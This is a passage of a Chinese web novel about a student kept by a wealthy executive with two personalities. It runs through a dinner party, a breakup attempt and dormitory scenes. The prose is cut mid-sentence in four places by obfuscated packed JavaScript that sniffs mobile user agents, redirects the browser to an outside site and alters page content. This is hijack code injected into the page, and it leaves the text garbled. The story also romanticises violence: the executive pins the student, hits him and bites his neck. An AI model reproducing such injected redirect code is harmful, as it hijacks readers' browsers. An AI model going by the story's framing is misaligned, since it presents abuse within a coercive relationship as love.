他站在墙边,脸慢慢红了。不是因为别的,他发现这还不如跪下,他今年二十岁,站在一间写字楼顶层的办公室里被罚站,跟个犯了错的小学生没什么区别。 他想反驳想为自己辩解,但他没开口,因为他注意到了一些东西。 萧墨辰翻文件的速度不太对,不是平时那种稳定的、游刃有余的翻法,而是翻过去,停一下,又翻回来,再翻过去,反复看同一页。 他戴着眼镜,但太阳穴青筋隐隐凸起,眼下的青黑比昨晚重了不少,至少说明昨晚二号人格沉睡后,一号人格醒来,一晚上没睡。 看来不是因为迟到,是萧墨宸今天本来心情就不好。 江云澈没计较,老老实实站着。 . 萧墨宸其实不想罚他。 早上出门的时候他还在想,今天事太多,直接让他坐外面做题就行。 但江云澈推门进来的那一刻,不知道为什么,心里某根弦动了一下。 就想让他站着。 就想看他站在墙边不知道该往哪放手的样子。 好像看着对方在自己面前受一点难,心里那团拧了不知道多久的结就能松开一点点。 他知道没道理,但他没改口。 . 罚站大概持续了半个小时。 “过来做题,今天没你什么事。” 江云澈走回那张小桌子前坐下,翻开考研试卷。 办公室恢复了安静,但萧墨宸的烦躁并没有消散,打字的力度比平时重,有几次手指直接从键盘上滑过去,打出一串乱码,删掉,重来。 期间手机响了三次,前两次没接,第三次接起来,“说。” 江云澈低着头做题,耳朵不自觉竖起来。 “明家那边什么动静,他身边那个人是云家的?……知道了。” 萧墨宸声音压得很低,但江云澈听出了两个字:明家、云家。 挂了电话,安静了大概三十秒又响了,萧墨宸看都没看直接挂掉。 过了几秒,手机又亮了起来,萧墨宸不得不接通了电话。 电话那头是一声很威严的老人的声音。 “李家女儿从国外回来了,明天回家一起吃顿饭。” 萧墨宸明显愣了会儿,随后回答:“知道了。” 挂断电话,他把手机翻面扣在桌上,闭了一下眼。 江云澈低头继续做题,假装什么都没看到。但他大概猜到了。 明家,京都来的公司,实力强,最近在和萧氏争项目,这个他之前整理文件时隐约看到过。 至于“李家的女儿”——刚刚在前台等着的时候听见几个人聊,说总裁要和李家联姻,意思很明显了。 联姻。 萧墨宸要结婚吗? 所以昨天二号那个反应……他似乎找到原因了。 只是萧墨宸如果结婚了的话。 他该怎么办。 . 傍晚六点,下班时间。 今天萧墨宸破天荒没有让他去挤地铁,而是直接让他坐自己车。 出了公司大楼,江云澈跟在萧墨宸身后两步远。 从办公室出来到上车他一句话没说,不是不敢,是看出来对方实在没精力应付别的。 车上也很安静,萧墨宸开车,他坐副驾,窗外的路灯一盏一盏掠过去。 萧墨宸眉头一直皱着,不是针对谁,是那种怎么都舒展不开的样子。红灯停下的时候,他握方向盘的手指很紧,手机又响了一次,江云澈瞥见备注:“爸”。 但萧墨宸没接。 江云澈收回视线,脑子里突然冒出昨天晚上的画面。 私人放映室里,二号人格陆墨辰的手覆上他后颈,嘴唇贴上来。 他当时什么都不懂,回去上知乎搜了才知道接吻要张嘴,没办法,谁让他一次恋爱没谈过就被包了呢。 知乎上还说,次人格性情大变代表主人格正在经历某种难以想象的事,反应的是主人格的真实需求。 如果次人格都对他那样了,萧墨宸呢? 一次给十万真的很香。 他没多少时间了,要多挣点,萧墨宸要结婚了。 他在想一件很危险的事。 . 到了翡冷翠,萧墨宸开门进屋,松领带。 “我洗个澡。” “嗯。” 江云澈换了鞋,去厨房倒了杯水,坐在客厅茶几旁边,把白天做的试卷摊开。 今天多错两道,新题没讲过。 十几分钟后萧墨宸从楼上下来,头发半干,换了件黑色短袖,眉心那道纹还在,走过来在茶几对面坐下。 “哪两道?我还要忙,先给你教会。” “这道,还有这道。”江云澈把书推过去。 萧墨宸低头看题,拿过笔开始算。 江云澈坐在对面,看着他写字的手,骨节分明,力度很稳,和开车时发白的指关节判若两人。 他等萧墨宸算完讲了一遍,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552821|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨宸点了下头,开始算第二道。 客厅很安静。 江云澈盯着对方的侧脸,心跳开始加快。 他知道自己在想什么,这个想法很疯。 但刚才在车上他想了整整一路,到现在已经想不出别的了。 买房需要钱,按现在存款进度也要两年,万一萧墨宸下个月就结婚,或者过两天那位李家小姐像小说里那样直接找上门…… 萧墨宸第二道题算到一半,卡住了,笔尖停在纸面上,眉头微微皱起来。 江云澈盯着他紧绷的侧脸,忽然鬼使神差地想哄他一下。 如果萧墨宸也喜欢这样的话…… 那他是不是还能多留一阵。 就当是…… 赔昨晚的失礼,反正他们是同一个人。 他微微倾身,趁对方低头算题,轻轻碰了一下他的唇。 嘴唇贴上嘴唇,很轻。 萧墨宸整个人僵住了,笔尖在纸上划出一道长长的痕迹。 江云澈没有退开,闭上眼睛,然后想起昨晚搜到的那些东西,犹豫了两秒,还是学着里面说的那样,生疏地碰了一下。 很笨拙,碰到对方嘴唇的瞬间他整个人都在抖。 萧墨宸的手攥住了笔,很紧很紧,呼吸乱了一瞬。 然后他猛地偏过头,江云澈的嘴唇擦过他脸颊,落空了。 房间安静下来,很冷。 两个人都没动。 萧墨宸的笔从手里掉下去了,不是扔的,不是摔的,就是松了。攥了那么久的笔像突然断电一样松开,滚到地毯上,发出一声很轻的响。 “出去。”声音很轻,比平时还轻,轻到不像萧墨宸。 “萧总——” “我说出去。” 第二声比刚才重了一点,尾音压不住似的发紧。萧墨宸很少用这种语气,他生气了,但也不像生气,总之给人感觉很恐怖。 江云澈全身都抖了起来,光速从茶几旁站起来,拿了书包,换了鞋,推门出去。 门在身后轻轻关上,没有摔门的声音,却比摔门更让人害怕。 . 走在回学校的路上,江云澈的手还在抖。 他脑子里翻来覆去只有一个念头—— 是他想多了,萧墨宸根本不喜欢这样。 他主动吻金主了,他惹怒他了?会不会被炒?明天会不会有律师上门要违约金?怎么办。 他脑海里又想到昨天和二号陆墨辰相处的场景。 陆墨辰是主动吻他的,之前还一直在小心翼翼问他,解释是在行使金主的特权。 但今天萧墨宸完全不同。 他只是想让他心情好一点,就这么简单的一件事,萧墨宸把他轰了出来。 不留一点情面。 . 萧墨宸坐在沙发上,背抵着靠垫。 茶几上的课本被推到了一边,笔滚到地毯上,没人去捡。 他坐了很久,手指搭在扶手上,收紧,泛白,又松开,反复了好几次。 然后站起来,上了楼,进了浴室。 热水冲了很久,他才关掉花洒,站在镜子前。 镜面上全是水雾,他用掌心擦了一下,露出自己的脸。 脑海里一个画面不断重复。 江云澈倾身靠过来,嘴唇贴上来,很轻,带着一点犹豫。然后舌尖碰上来,笨拙的,发抖的,像不知道该怎么做。 该死。 他一拳砸在镜子上。 裂纹从拳面蔓延开来,碎片掉进洗手台里,水雾散开,露出一张没有任何表情的脸。 他撑着洗手台边缘,指节渗出血,混着水滴落进排水孔。 那个画面还在脑子里,甩不掉。 12. 第 12 章 江云澈失眠了一整晚,起床顶着黑眼圈。 他不知道一号会怎么对他,但今天是毛绒绒日,二号B703一早发了消息。 【今天带你参加一个晚宴,认识几个朋友,有正式一点的衣服吗?没有我们去买。】 晚宴?正式的衣服他有,一号萧墨宸准备的那一套,虽然没在陆墨辰面前穿过。 他回了个“我有”,对方说下午四点来接。 洗了个澡,江云澈对着镜子深吸一口气。 冷静,今天面对的是二号,他不记得昨天的事。至于一号萧墨宸,那是后天的事。 上完课、换好衣服,陆墨辰如约而至。 . 走出南门,学生很多。 江云澈穿着那身西装,红底皮鞋,戴着口罩,默默在门口等。不到一分钟,一辆哑光灰色的车驶过来,身边有人惊叹了一句“帕拉梅拉”。 江云澈抬起头,这俩车他看过,B703,陆墨辰朋友圈里的那辆,陆墨辰第一次开车来学校接他。 车窗摇下,里面坐着穿西装的萧墨宸,不,是二号陆墨辰,因为方向盘前面放着两个毛绒绒玩具。 “晚上好!大帅哥,上车。” 江云澈摸了摸脑袋,有些不好意思,他第一次被金主喊帅哥。 车离开校园,驶向云家宴会,路上,陆墨辰主动搭话: “还记得上次在PSR见到的那两人吗?小明总和他的情人。” 江云澈点头。“记得。” “他身边那个明星是云家的少爷,前阵子刚被接回来,今晚云家给他办了场宴会,认识认识圈里的人。” 少爷?上次不是说就是个明星吗? 所以要把他带到一群权贵里?江云澈瞬间有点怵。 陆墨辰伸手揉了揉他的脑袋。“没事别紧张,我就去凑个数,你跟我找个角落吃牛排就行。” 江云澈没吱声。 陆墨辰余光瞥了他一眼,本来打算带他去西装店,但这一身明显够了。 看着对方微僵的身子,他腾出一只手握住他的手。 “别紧张,有我在。” . 车一路往西,从CBD开进梧桐树荫浓密的街道,停在一扇铸铁大门前,门关着,石柱上什么字都没刻。 门口两人看见车过来,其中一个上前看了一眼车内,按下对讲机。铁门无声滑开。 车开进去,铁门在身后合上。 里面一栋三层老洋房,没有横幅没有红毯,连花篮都没摆,要不是车道上停了七八辆深色轿车,他会觉得只是栋普通洋房。 但就是这种冷清让他后背发凉。 电视剧里的豪门宴会门口会堆花篮,里面金碧辉煌,恨不得把“我有钱”刻在脑门上,这里刚好反过来,什么都没有,但什么都贵。 门口,一个穿深色马甲的中年男人站在门边,微微侧身让路,没有笑也没有寒暄,只是轻轻点了一下头。 那个幅度刚好,不卑不亢,像刻进骨子里的分寸感。 江云澈跟着陆墨辰走进去,里面人人礼服西装,整个会场气氛华丽庄重。 他下意识屏住呼吸,开始理解萧墨宸为什么对他那么严格了,这种环境下任何差错都会被放大,一举一动都在别人余光里。 这时候,如果你的鞋底沾一块泥…… 他轻轻拉了一下陆墨辰的衣服,“那个,能先去趟洗手间吗?” . 一楼洗手间在走廊尽头,深色大理石地面,铜质水龙头,镜框是做旧的黄铜边。 江云澈径直走到镜子前,检查脸,没问题,低头数扣子,全扣着,肩线对称,裤线笔直。 最后蹲下来,抽出纸巾沾湿拧干,小心翼翼擦皮鞋,鞋面干净,没有灰尘泥点,红底没磨损。 站起来又对着镜子看了一遍整体,侧身转半圈,确认背后没褶皱。 两分钟,极其熟练,像排练过无数次的流程。 陆墨辰靠在门框上,全程没说话。 他就这么看着,看江云澈掏纸巾、蹲下擦鞋、整理领口、检查背后,每个动作都利落没有犹豫,像刻在肌肉记忆里的。 这不是第一次穿西装的人会有的反应。 这件衣服也不是江云澈自己会买的款式。黑色暗纹收腰,肩线比普通成衣高一公分,这个细节普通裁缝不会注意,只有常年穿高定的人才看得出来,这会让人肩更宽腰更窄。 衣服很贵,且被人精心挑选过的北欧品牌。 陆墨辰指节在门框上叩了一下。 “好了吗?” “好了。”江云澈松了口气,转过身,然后愣住了。 陆墨辰不知什么时候不在门框那了,而是走到他身后很近的地方,近到能闻到属于二号人格的那种味道。 “领带歪了一点。” 陆墨辰直接伸手碰上他的领带,手指捏住领带结调了一下角度,没松手,指腹顺着纹路滑下去,动作很慢。 江云澈站在原地没动,喉咙有点干。 “扣子也松了。” 对方的声音就在他耳边,他还没反应过来是哪颗,陆墨辰的手已经移到胸口,指尖隔着衬衫碰到第二颗扣子的边缘,像在确认有没有扣紧。 其实扣得很好,严丝合缝,但手指没移开,就停在那,指腹若有若无地贴着。 江云澈能感觉到那个位置的体温,隔着一层衬衫,烫得不正常。 “这里,”陆墨辰低声说,“没有问题。” 手指顺着扣子边缘滑了一下,往下,移到第三颗,同样停住,直到第四颗。 江云澈的呼吸开始变浅。 他应该退开的,他知道陆墨辰在做什么,这和检查扣子没关系,但他只是个被包养的金丝雀,他没退。 也许因为前天的十万还在手机里,也许因为这里太安静了,安静到外面的一切像另一个世界。 陆墨辰的手停在腰带位置,没再往下。 他抬起头,视线从江云澈下巴慢慢移到他眼睛上,镜子就在旁边,余光里两个人的倒影,一个站着不动,一个贴得很近,中间几乎没有距离。 “你穿西装很好看。”陆墨辰声音很轻,不是开玩笑的轻,是压在喉咙底下的,带着一点沙。 江云澈没说话。 陆墨辰的另一只手抬起来,碰了一下他的后颈,是前天在放映室里的那个位置。 指尖贴着皮肤,没动,像在确认什么。然后微微收紧,把他的后颈往自己的方向带了点儿。 镜子里的两个人,一个站着不动,一个贴得很近,近到江云澈能感觉到对方呼吸打在自己耳廓上。 陆墨辰的视线从镜子里移到他脸上,停了两秒。 然后低下头。 江云云澈浑身绷紧,手指攥住了洗手台边缘。 近了。 更近了。 他能感觉到陆墨辰的嘴唇离自己的后颈只有几厘米,温热的气息落在皮肤上。 只要再低一点儿…… 忽然,隔壁隔间传来一声闷响,像什么东西撞了一下隔板,紧接着一段被压得很低的声音,听不清说什么,但那道细微的喘息不需要听清内容。 江云澈像被泼了一盆冷水,猛地往后退了一步。 陆墨辰的手顿在半空,收了回去,空气里的暧昧被一把扯断。 没过几秒,隔间门锁响了。 门推开,先出来一个人,高半个头,深灰色西装,衬衫扣子系错两颗,领带歪到一边。 紧接着另一个,轮廓深,鼻梁高,头发有点乱,嘴唇微肿,领口敞开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552822|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人一前一后走到洗手台前,一个洗手,一个整理领带,谁也没看谁,默契得像做过一百遍。 陆墨辰先开口,对着高个子,“明总,好久不见。” 明邮从镜子里看了他一眼,点头:“萧……陆墨辰,没想到你来了。” “被拉来凑数的。”陆墨辰笑了笑,手搭上江云澈肩膀,“这是我朋友,江云澈。” 江云澈下意识挺直腰,声音有点紧:“明总好。” 明邮扫了他一眼,“嗯”了一声,没多问。 另一边,席安澜擦完手抽了张纸巾,转过身,目光在江云澈身上停了两秒,不是打量,更像是多看了一眼。 然后朝陆墨辰抬了下下巴,跟着明邮往外走,经过江云澈身边时脚步顿了一下,又看了他一眼,很轻,很快,然后人走了。 陆墨辰收回手,说:“走吧。” . 宴会厅在二楼,几张高脚桌散落各处,摆着红酒香槟和冷餐,人不多,三三两两站着聊天,声音都不大。 陆墨辰带他找了个靠边的位置,拿了杯香槟给他。 “站这就行,不用说话。”然后时不时指一下前面的人。 “穿灰色马甲那个,云家的云琛,今天名义上的主人,你刚刚看的那个,云少爷的表哥。” “靠窗戴眼镜的,做航运的,魔都一半进口冷链走他的船。” 陆墨辰的语气很随意,像讲八卦,但每句都精准。 江云澈听着,默默记,虽然大概率记不住,但有人说话就没那么慌了。 陆墨辰给他拿了块三明治,“别空肚子喝酒。” 江云澈接过来咬了一口,烟熏三文鱼的,很好吃。 正吃着,一个人过来在陆墨辰耳边说了句什么。 “我过去一下,很快回来,你在这儿别动。” “好。” 然后他就走了。 江云澈一个人站在原地,三明治咬了一半,舍不得扔又不好意思继续吃,周围全是人,没一个认识的,也没人上来和他搭话。 刚才陆墨辰在的时候还好,有人挡着,他只需跟着点头微笑。现在那个人走了,他像被抽掉了支架,站在一群人说一种他听不懂的语言的聚会里。 别看别人,别乱走,别碰任何东西……这些都是萧墨宸教他的。 他低头数香槟杯里的气泡,一个,两个,三个…… “第一次来这种地方?” 江云澈抬头,席安澜端着红酒站在旁边,领口红痕遮住了,头发重新整理过。 “嗯。” “其实我也是。”席安澜靠在高脚桌边。 江云澈愣了一下,没接话。 “我不喜欢这种,但得露个脸。”他偏头看了江云澈一眼,“交个朋友?” 说得很轻,没有刻意热情,更像在谁都不想待的地方碰到一个同样不想待的人,顺嘴说了一句。 江云澈没犹豫,“好。” 席安澜笑了一下,举杯碰撞发出很轻的一声响,淹没在背景音里。 然后两人都没再说话,并排站着,各喝各的酒。 奇怪的是,江云澈没那么紧张了。 . 宴会厅另一侧,角落里。 萧墨宸靠在墙上,端着一杯红酒。 他来得最晚,应付完家里那位李小姐就借口离开了,顺道过来露个面,打完招呼就走。 但他视线停住了。 大厅另一边的边缘,江云澈端着一杯香槟站在那,旁边是云家新认回来的少爷席安澜,两人并排站着,席安澜侧头跟他说了句什么,江云澈笑了一下。 萧墨宸的目光在那停了两秒。 他把酒杯送到嘴边,皱了一下眉,抿了一口。 然后移开了视线。 13. 第 13 章 从晚宴回来后,江云澈的微信多了一个人,席安澜,对方通过好友后简短聊了几句,说以后有机会带他去H国玩。 至于第二天要面对的一号,萧墨宸只发了短短一句。 “公司忙,翡冷翠,学习。” 江云澈背着书包去了别墅,从早到晚,没看到人。 然后是星期四,陆墨辰开车带他去海边兜了一圈风。 就这样又过了五天。正装日做题,毛绒绒日出去玩,翡冷翠的试卷每天更新,没人批改,没人讲,就静静放在那。 冷处理。 他明白萧墨宸不想见他,那天他脑子抽风的事对方没提,他也不敢提,对方不想见,他就没有见的资格。 直到周三下课,他路过教室后排,听到几个女生在讨论。 “你看网上了没,萧氏那个萧墨宸要和李家千金订婚了。” “不是说不婚主义吗?” “谁知道呢,豪门联姻嘛……” 出了教室,江云澈掏出手机搜。 本市一家财经媒体爆料:《百亿继承人即将迎娶豪门千金》,配图模糊,但那个侧脸轮廓他太熟了。 江云澈盯着屏幕,原地站定了好久。 新闻下面还有一条推送,他没看,B703的朋友圈更新了,是一张游乐园的摩天轮,配文是“今天天气超好”。 三天前发的。 他盯着那张图看了几秒,手指悬在屏幕上,最后锁了屏。 结婚算不可抗力,协议里写了,甲方因不可抗力终止合同,乙方不用赔违约金。 但陆墨辰那边怎么办,身体是共用的,萧墨宸结了婚,陆墨辰是不是也…… 算了,想不通。 他忽然发现。 这几天里,萧墨宸一次都没见他。 但翡冷翠照常开放,试卷照常更新,司机照常接送,衣服照常熨好挂在柜子里。 像什么都没变。 又像谁都可以替代他。 他在这里,好像只是一个被设定好程序的“物件”。 主人不高兴了,就先晾着,等哪天想起来,再继续用。 不过话说回来,都要结婚了,不找律师来跟他谈解约,什么意思,总不能真让他以后躲着正宫过日子吧? 不行,他才20岁,与其等着对方打上门,不如主动去,当断则断。 只是问题是,从包养第一天打招呼被训,他从来没主动给A703发过消息,所有见面都是萧墨宸单方面通知,几点到、穿什么、带什么。他连在对方朋友圈点个赞都不敢。 打开聊天框,最后一条消息还是萧墨宸的助理模板“翡冷翠,学习。” 打了一行字,删掉,又打,又删。 他最后发了一句: “萧总,今晚能见一面吗,有件事。” 发出去把手机扣在桌上,心跳得很快。 八分钟后,手机震了一下。 “晚八点。” . 江云澈把萧墨宸送的那套西装叠好装进手提袋,衬衫、皮鞋全找出来一并装好,这些都要还给人家。 然后翻了半天衣柜,拿出一件黑色衬衫,搭了一条深灰色西裤。 这是他之前在酒吧卖酒前攒了半个月工资买的,第一天穿去上班领班还夸了一句。 不是什么大牌,但剪裁合身,是他衣柜里除了萧墨宸送的那些之外最好的衣服了。 当初就是穿这身签的协议,现在穿这身去解约,有始有终,挺好。 . 翡冷翠的门没锁。 江云澈推门进去,换了鞋,客厅没人,但二楼有脚步声。 等了不到一分钟,萧墨宸从楼梯上下来。 黑色短袖,没穿外套,头发像刚洗过还没完全干,眉心有很深的疲惫感。 看到江云澈的那一刻,脚步顿了一下。 视线从脸上扫到身上,停了。 黑色衬衫,深灰色西裤。不是他要求穿的衣服。 萧墨宸认识这件衣服。 第一次见这个人的时候,他就穿的这件,在酒吧灯光底下端着托盘挤过人群。后来签完协议,这件衣服的版型和颜色他就记住了。 现在这个人穿着这件衣服站在他客厅里,手里提着一个袋子,袋口露出西装袖子。 萧墨宸的眼神暗了一下,很短暂,像有什么东西从眼底掠过去又压回去了。 他没说话,走到沙发边坐下,翘起腿,茶几上是他改好的试卷。 江云澈把手提袋放在茶几上,走到萧墨宸面前,没跪没蹲,就站着。 “萧总,这是您之前给我买的西装,太贵重了,我给您送来。” 萧墨宸看了他一眼,没说话。 “萧总,网上说您要订婚的事……”江云澈顿了一下,观察对方反应。 萧墨宸没吭声,没否认,也没承认,就那么看着他。 “萧总,您要结婚了。” “协议里写过,这种情况……我可以走……这样对您也方便。” 江云澈把手提袋往前推了推,“您看您的律师什么时候有时间,我们见一面。” 茶几上的手提袋没有拉链,里面的东西露出来一点。 衬衫叠得很整齐,连袖口都对得一丝不差,皮鞋擦得很干净。 像提前准备了很久。不像临时起意。 萧墨宸的视线停了两秒。 他忽然意识到,江云澈今天不是来闹脾气的。 他是真的准备走。 客厅安静了很长时间,然后萧墨宸开口了。 “江云澈,你果然一点都没长进。” 声音不大,和平时一样,但每个字像从牙缝里碾出来的。 “什么意思?” 萧墨宸没回答,视线从他脸上移开,落在茶几上的手提袋上,脑海中浮现起那天宴会上江云澈站在那个男人旁边的样子。 “你忘了你是怎么走到这里来的?” 江云澈呼吸顿了一下。 他当然知道萧墨宸在说什么,可这句话听起来太难听了。 他喉咙发紧,还是低声开口:“我今天来,不是想说这个。” “你想走。”萧墨宸用了很肯定的语气,靠在沙发边,盯着他看了很久。 “东西还回来,人也准备走。” “江云澈。” “你是早就想好了,还是已经找好下家了?” 最后一句声音很轻,甚至听不出情绪,但江云澈后背莫名发凉。 江云澈深吸一口气,“萧总,您已经要结婚了,这样没意义。” “谁允许你走的。” 江云澈抬起头,“您以后结婚了,总不能让我继续见不得光吧?” 萧墨宸站了起来,阴影直接罩下来,江云澈下意识往后退,后腰撞上茶几边缘。 他又往前一步,两个人之间只剩不到半臂的距离。 江云澈能闻到烟味,很浓,至少这段时间对方天天都在抽。 他的肩膀突然被一把攥住。 手臂扣在肩膀上,力道大得骨头都在响,整个人被往前一带,撞进萧墨宸胸口。 然后被推出去,面朝下砸在沙发上。 他本能地撑着坐垫想爬起来,却被一把摁回去,踉了一下想往旁边躲,萧墨宸抬脚一别,膝盖顶进他腿间,身体直接压下来。 江云澈被钉在沙发上,脸埋在坐垫里,背后全是萧墨宸的重量,退无可退。 然后一只手掐上了他的后颈,五根手指扣住后颈那块骨头,像拎一只猫,把他整个人钉在原地。 江云澈动不了了。 脸贴着沙发垫,只能看到旁边茶几腿的一角。萧墨宸的手指收紧了一点,拇指压在他后颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552823|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动脉上,能感觉到脉搏在指腹下跳得飞快。 “离了我,你准备去找谁?” “云家少爷?” 萧墨宸嗤了一声,“难怪急着来解约。” 他这句话像从牙缝里挤出来的,然后另一只手扬起来。 手掌结结实实落下来,力道大到江云澈整个人往旁边一歪,又被后颈那只手拽回来。 第二下紧跟着落下来,同一个位置,更重。 掌心拍在骨头上的闷响一下接一下,没有数数,没有“记住没有”,像压着什么情绪,失了控。 江云澈撑了几下,撑不住了。 “放开!”他偏过头,眼眶红透了。 “你要结婚,是你的选择!” “可凭什么……你结婚了,还要把我绑在身边?我也是人,不是你随叫随到的东西!” 客厅瞬间安静了,手掌没再落下来。 安静大概持续了两秒,然后萧墨宸全身压了下去。 整个人的重量都压上来,把他彻底钉进沙发里,一只手还掐着他后颈,另一只手摁住他的后脑勺。 萧墨宸犹豫了一下。 他知道自己不该这样,理智告诉他松手,站起来,让他走,像以前每一次一样。 但脑子里全是昨晚宴会上的那个画面,江云澈笑着的侧脸,站在一个陌生的男人旁边。 “你是不是觉得,” 萧墨宸压着他,声音低得发哑。 “离开我以后,就能干干净净去找别人?” 手指已经扣上了后颈。 然后他低下头,对准那脆弱的后颈,从背后咬了上去。 牙齿切进皮肤里,很用力,像要咬断什么东西,疼得江云澈“嘶”了一声,手指抠紧了沙发垫。 萧墨宸没松口,咬住了就不放了,全身重量压下来,牙齿往里陷了一点。 江云澈的眼泪就是在那一瞬间掉下来的。 前面挨那几下的时候他都没哭。 皮带抽的时候也没有。 他其实挺能忍的,可这次不知道为什么,就是忍不住。 后颈被像小猫一样咬住,全身被压着动不了,对方的心跳隔着衣服从背后撞上来,又快又重。 他就是觉得萧墨宸欺负他,觉得萧墨宸不讲道理。 眼泪从眼角滑下去,洇进沙发垫里,无声的。 他甚至没发现自己哭了,直到感觉到脸底下那一片布料是湿的。 萧墨宸松了口,重量从他背上撤走。 江云澈翻过身,仰面躺在沙发上,后颈上一个很深的牙印,泛红,渗出一点血丝,眼眶红透了,脸上是湿的,没出声。 两个人对视了几秒。 萧墨宸站在沙发边上,低头看着他,然后退后一步。 “东西拿走。” 转过身,往楼梯方向走,又补充了一句。 “协议的事,我没同意,你别想那些没用的。” 萧墨宸的声音恢复了平时的平稳,像什么都没发生过。 脚步声上了楼,卧室门关上了。 . 客厅里只剩江云澈一个人。 后颈的牙印还在跳着疼,肩膀上也是,腰上火辣辣的,但那种疼和以前不一样。 他慢慢坐起来,走到卫生间,对着镜子看了一眼。 后颈的牙印很显眼,一圈牙齿的形状,中间破了皮,周围淤红,肩膀上几个手指按出来的红印,腰侧隔着衬衫都能看到泛红的轮廓。 他试着用手盖住脖子上的,盖不住。 以前的痕迹都在背上,穿衣服就能遮住,今天最明显的在脖子上,衬衫领口根本遮不了。 江云澈把领口往上拉了拉,遮住了一半,但另一半还是露在外面。 他拉不下去了。 把领口放回去,拿起茶几上的手提袋,出了门。 14. 第 14 章 今晚是回来最早的一次。 走廊尽头有人在洗衣服,水声哗啦啦地响,有人端着泡面,从水房走回宿舍。 走进走廊的时候,他甚至能听到室友张伟打cs的声音。 江云澈松了口气。 都在打游戏的话,没人能注意到他,他只需要回去,光速上床躲被窝里就行。 江云澈推开门。 一个高大的人影突然毫无征兆地挡在了面前。 江云澈低着头,首先看到的是一双拖鞋,光腿,短裤,往上是一个盆,穿着背心,头发湿漉漉的应该是刚洗,这个人很高。 是他的室友,平时爱踢足球的李浩楠。 “今天这么早回来?” 江云澈抬头,愣了一下,不知道该说什么。 “对,今天下班早。” 李浩楠挡在门口,没有立即让开,低头看了他一眼。 江云澈今天很安静,眼尾也有点红。 他停顿了一秒,什么都没问。 “那早点休息。” 他把头偏到后面去。 “张伟,小点声。”李浩楠从架子上拿了瓶洗衣液,“云澈回来了。” “不……不用……”江云澈话才说到一半,对方已经越过他,往水房的方向去了。 另一边,打游戏的张伟光速暂停了电脑,头偏过来。 “江哥,你居然回来得这么早!” 江云澈下意识往床边走,手悄悄把衬衫领口往上拽了拽,想盖住脖子,他想赶紧上去,拉上床帘,把自己藏起来。 “江哥你别着急上床啊,”张伟摘下耳机,从椅子上转过来,“难得回来这么早,我们点些小烧烤喝点小饮料怎么样?” 江云澈摇头拒绝。 “还是不了,你们吃吧,我不饿。” “哎呀,别这么急拒绝嘛,反正明天周末,又没课。” 张伟还不死心,伸手把江云澈拦在自己面前,努力劝着。 就在这时,吱呀一声,门又开了。 宿舍最后一名室友姚发平夹着几本书走进来,他刚从图书馆回来,看起来有些疲惫,但进门时目光习惯性地扫了一圈,最后落在了江云澈身上。 “你脖子怎么了?”姚发平推了推眼镜。 江云澈心里咯噔一下,意识到身后有人,瞬间背过身。 “……过敏了。” 一旁的张伟顿时愣住,“你不舒服吗?江哥。” “没事,老毛病了。”江云澈回他。 “过敏?”姚发平皱起眉,很较真,“不对吧,过敏是一片片红,你这明明是被咬的。” 听到被咬的那几个字,江云澈有点站不住脚,像是秘密直接被人摊开,他怎么解释都没用。 “啥?被咬了?” 张伟耳朵尖,听见“被咬了”三个字,鼠标一扔就窜了过来,脸上全是紧张:“海湾这个时候虫子特别多,咬哪了?让我看看!” 江云澈往后退了一步,脸跟着白了:“没事,小伤口,不用。” “你躲什么啊,看看严不严重,别是过敏了。”张伟不知道哪来的热心肠,伸手就要去拨江云澈的手,“被虫子咬了不处理会感染的,快让我看一眼!” “不用!我真的没事。” 江云澈背抵着墙壁,退无可退,张伟的手已经快碰到他了,他眼眶发酸,整个人像惊弓之鸟。 就在这时,一个带着湿气的东西,猛地罩在了他肩膀上。 是一条宽大的深蓝色浴巾,带着淡淡的肥皂香,还残余着人体的温热。 江云澈愣住了。 还没等他反应过来,一双大手隔着浴巾,轻轻按住了他的肩膀,把他的后背贴在自己胸膛上。 “行了,别像看猴似的围着。” 李浩楠头发还是湿的,不知道什么时候已经站到了他身后。 他身高腿长,往那一站,就像堵墙一样隔开了张伟和姚发平。 他没看其他人,只低头看了江云澈一眼,声音不大,但很硬:“早点休息,今天宿舍提前一小时熄灯。” “啊?”张伟还举着手,“可是我这把要吃鸡了……” 李浩楠已经走到了门口,“啪”地一声,直接按下了总开关。 整个宿舍瞬间陷入黑暗。 “李浩楠!你个没良心的!”张伟在黑暗里哀嚎,“我这把真的要吃鸡了啊啊啊!” “就是,我也还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 